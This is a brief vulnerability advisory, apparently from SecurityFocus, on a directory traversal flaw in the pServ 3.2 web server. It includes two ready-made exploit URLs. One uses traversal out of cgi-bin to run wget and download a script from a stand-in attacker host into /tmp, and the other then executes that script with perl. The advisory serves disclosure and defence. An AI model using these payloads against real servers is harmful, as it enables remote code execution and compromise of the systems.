source: http://www.securityfocus.com/bid/13642/info

pServ is prone to a directory traversal vulnerability. This occurs because the application does not implement a proper method for filtering directory traversal sequences from URIs. Since this can be done from the cgi-bin directory, it is possible to execute commands to which the Web server has permission.

This issue was reported to affect pServ version 3.2; earlier versions are like vulnerable. 

The following url downloads a script (or executable) to the server:
http://www.example.com:2000/cgi-bin///////////../../../../../../../../usr/bin/wget?-q+http://evil-site/evil.pl/+-O+/tmp/evil.pl

This is how the script can be executed afterwards:
http://www.example.com:2000/cgi-bin///////////../../../../../../../../usr/bin/perl?/tmp/evil.pl 